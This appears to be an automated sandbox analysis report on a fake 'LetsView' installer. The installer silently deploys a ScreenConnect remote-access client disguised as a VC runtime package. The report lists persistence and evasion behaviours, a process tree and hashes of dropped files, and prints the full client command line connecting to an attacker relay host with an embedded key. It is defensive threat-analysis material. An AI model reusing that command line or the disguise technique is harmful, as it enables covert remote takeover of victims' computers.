Analysis

  • max time kernel
    299s
  • max time network
    288s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    10/07/2026, 02:45

General

  • Target
    LETSVIEW/letsview-setup.exe
  • Size 505KB
  • Sample260710-c8vd8act2k
  • SHA256 8f47d7121ef6532ad9ad9901e44e237f5c30448b752028c58a9d19521414e40d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Checks for any installed AV software in registry 1 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 36 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 24 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\LETSVIEW\letsview-setup.exe
    "C:\Users\Admin\AppData\Local\Temp\LETSVIEW\letsview-setup.exe"
    1⤵
    • Checks for any installed AV software in registry
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:5052
    • C:\Users\Admin\AppData\Local\Temp\0e88f2f4.exe
      "C:\Users\Admin\AppData\Local\Temp\0e88f2f4.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      PID:4948
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\AA10F00B.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3752
    • C:\Windows\SysWOW64\msiexec.exe
      msiexec.exe /i C:\Users\Admin\AppData\Local\Temp\ACCBA60B.tmp /qn REBOOT=ReallySuppress
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:3924
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D3843E4FFE6DC2D1904CA9A852169DD4
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4288
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI209E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240722250 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:176
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B2E26069A5C2D6FE0EF62B857A17652D E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      PID:4468
  • C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=micro.vpn-expres.top&p=8041&s=721814e4-ea88-4767-8fa9-4ec03b840b69&k=BgIAAACkAABSU0ExAAgAAAEAAQA16%2fTGkJuKzmPRwtRqFIPq13C%2fhtZf5v2d0VocPf2i%2b3Qx5O2NsVXQpvw%2bDd9crifO7s0xDarU2tV5Mfx%2fAFHd8Uk5q%2fFEcKbao%2fNyt1sCKoWPxRwGPNazIErFVLdUTQAwUAHFFsH%2fAI%2bRLJhl53QVgHaYcZAhLsW0gJdUEjQokrPA7dQtgjAToq%2bBOT0FoIQceYrnMpYerjcVsThac04E%2beYcPVy%2fX3y4P%2bFdCGFMSFmkoBtL9mQV1YSVfKuOD5dmo4kAFnoInvt2ZKpqL0zIbLs5ws5B56lGEuu17ZB9lCWs%2bcL2UUa4OP9AG%2bb%2bkZEMbgRLYySi4kViPUQndES6&c=LETSVIEW&c=&c=&c=&c=&c=&c=&c="
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3000
    • C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe" "RunRole" "9ebf9175-6746-4435-9367-63ca430060b7" "User"
      2⤵
      • Executes dropped EXE
      PID:3384

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e5919da.rbs

        • Path C:\Config.Msi\e5919da.rbs
        • Size 214KB
        • SHA256 5891d9544a53aedaa02d2f328966a317c77e0719f541a72e2bc9871581ae47a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.Override.en-US.resources
        • Size 227B
        • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.Override.resources
        • Size 4KB
        • SHA256 4b1351ff1b4c54808ba17abb1ba810c55066657688099457ec7568d0ed091335
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.en-US.resources
        • Size 49KB
        • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 33f8abd5722ab19aeacfe24319cda4433b0bf9b482dad4865685975c11c15534
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.dll
        • Size 67KB
        • SHA256 554ba93c3c34fc5cf6cb49ac7285069e853aa5543219e012bf0e9ca4400c3255
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4fe150116089d55c48748a97985f1d18054db5758020b193ad31d63e849b57f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe
        • Size 595KB
        • SHA256 465e9cee277db463677b2b593809e794279d64314b4fa736aa93780a0f7e3975
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\app.config
        • Size 1KB
        • SHA256 a203fcde97bbea157f0620429cfc017aa501e86f8f5b7aa6080579fe313404d1
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\VCRuntimePackage_x64\system.config
        • Size 958B
        • SHA256 36d7af4a76f321642cfd01c00b51e454182e118c6ce17916e59c755e2d0e5e93
        • MD5 SHA1 SHA512 TLSH

        0e88f2f4.exe

        • Path C:\Users\Admin\AppData\Local\Temp\0e88f2f4.exe
        • Size 2.4MB
        • SHA256 9668ad0def75c0bfccfa01a0a8b4fe3aa24a4f386f0807871edb14b979ac51bf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        AA10F00B.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\AA10F00B.tmp
        • Size 12.8MB
        • SHA256 68b55d9b9c5c428a8edd744acfaea9d6607f8bfa95aec950e4541c9ebf579082
        • MD5 SHA1 SHA512 SSDEEP TLSH

        dxsetup_dbg.log

        • Path C:\Users\Admin\AppData\Local\Temp\dxsetup_dbg.log
        • Size 1KB
        • SHA256 cdb6bdcf30addd456cb76c9cb3872aea10c2644bd3941ade5a2ee78ee8865b7b
        • MD5 SHA1 SHA512 TLSH

        MSI209E.tmp

        • Path C:\Windows\Installer\MSI209E.tmp
        • Size 1.0MB
        • SHA256 64ddf83b4acb09b518518e07a8ffd0446d256ff842c113efa1cdb6378fdf1018
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI209E.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI209E.tmp-\ScreenConnect.Core.dll
        • Size 539KB
        • SHA256 51d9dcd755a424b8b3122350bbcc02d453880c39636fb1e0265084161afca983
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI209E.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 8f4a00b34720f19b0e67dc957085ad1986e58bb16a1abcc580dab21bcd61382d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI209E.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 602a640e2d9f94acfe47d3946f7dd088992431e24b670d40233e1ae6e9e270ad
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI2A06.tmp

        • Path C:\Windows\Installer\MSI2A06.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        DXError.log

        • Path C:\Windows\Logs\DXError.log
        • Size 554B
        • SHA256 2c4e750ce931c0ddaa7f35c8b869d90ba08a0cf091698b398ba13dd7188e1690
        • MD5 SHA1 SHA512 TLSH

        1kpegyvf.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\1kpegyvf.newcfg
        • Size 584B
        • SHA256 82f10f5593bbe12b18dfdf34651b619019f72312d627848760cf3994655d9a1c
        • MD5 SHA1 SHA512 TLSH

        1qef0ctc.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\1qef0ctc.newcfg
        • Size 584B
        • SHA256 0f2b45c051df7e916159ea43eea869f47515de7e6e2b8eda4ccb5658d1deaf31
        • MD5 SHA1 SHA512 TLSH

        3nrhfkyr.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\3nrhfkyr.newcfg
        • Size 584B
        • SHA256 196998c8ab58c1de9857aa4f73b7d41ff7417c6b703c357cd97d5ed8942cedf5
        • MD5 SHA1 SHA512 TLSH

        fqqcpk3g.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\fqqcpk3g.newcfg
        • Size 584B
        • SHA256 6b2379a89aebfa5866a0c29e7ebdd2b65bbcccf7896ad39c9ed76d52934ead02
        • MD5 SHA1 SHA512 TLSH

        git05jtm.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\git05jtm.newcfg
        • Size 584B
        • SHA256 93ac47844b83cb804d6eabc763441cf284cd7c82feb4c4ecd02be6eeb956302f
        • MD5 SHA1 SHA512 TLSH

        u32trwft.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\u32trwft.newcfg
        • Size 584B
        • SHA256 8ce0ef2f767b2ee82e40c5010db0fdbb756bb6ea02e7a6a8f9755f477efbd53d
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\user.config
        • Size 584B
        • SHA256 f35648bc340726511e31ee9f24f2cdf27efb12e95f3de291e70b854fd1fcd207
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\user.config
        • Size 584B
        • SHA256 ff2180e3eff7f48742a473de356946bdb94ef0de98c6e700950a281d422be635
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\user.config
        • Size 584B
        • SHA256 e6b312027b63e9b2f6231ecc935477843aea7e288808a5c094e8a9f75851208d
        • MD5 SHA1 SHA512 TLSH

        vcx2vwer.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\vcx2vwer.newcfg
        • Size 584B
        • SHA256 c2940cfc45bfb1f82b9d43830a6e5858f2a54630ec22dcc8933dbe38d83c8da3
        • MD5 SHA1 SHA512 TLSH

        wiaom1g0.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\wiaom1g0.newcfg
        • Size 584B
        • SHA256 56162a7135a5ace90dfdb4847030c7867a86ea582f7e581a073b1890b6eb8906
        • MD5 SHA1 SHA512 TLSH

        zpr3e4u1.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\VCRuntimePackage_x64\zpr3e4u1.newcfg
        • Size 584B
        • SHA256 f3b3a85981910d79c8d10b9dda2bc16f260ef654f51d152f48bf9f2342737fdd
        • MD5 SHA1 SHA512 TLSH

        memory/176-95-0x0000000005300000-0x00000000054AC000-memory.dmp

        memory/176-83-0x0000000002C40000-0x0000000002C6E000-memory.dmp

        memory/176-96-0x0000000005A60000-0x0000000006004000-memory.dmp

        memory/176-91-0x0000000002D50000-0x0000000002DDE000-memory.dmp

        memory/176-87-0x0000000002C70000-0x0000000002C7A000-memory.dmp

        memory/3000-136-0x0000000003940000-0x0000000003958000-memory.dmp

        memory/3000-154-0x0000000004030000-0x00000000040C2000-memory.dmp

        memory/3000-149-0x0000000003CF0000-0x0000000003D40000-memory.dmp

        memory/3000-156-0x0000000003D80000-0x0000000003DC1000-memory.dmp

        memory/3000-153-0x0000000003D40000-0x0000000003D76000-memory.dmp

        memory/3000-158-0x0000000004210000-0x00000000042E5000-memory.dmp

        memory/3384-179-0x0000000000CF0000-0x0000000000D26000-memory.dmp

        memory/3384-178-0x0000000000440000-0x00000000004D8000-memory.dmp

        memory/3384-184-0x0000000000CC0000-0x0000000000CD8000-memory.dmp

        memory/3384-183-0x0000000000C80000-0x0000000000C98000-memory.dmp

        memory/3384-182-0x000000001B7E0000-0x000000001B966000-memory.dmp

        memory/3384-181-0x000000001B630000-0x000000001B7DC000-memory.dmp

        memory/3384-180-0x0000000002600000-0x000000000268E000-memory.dmp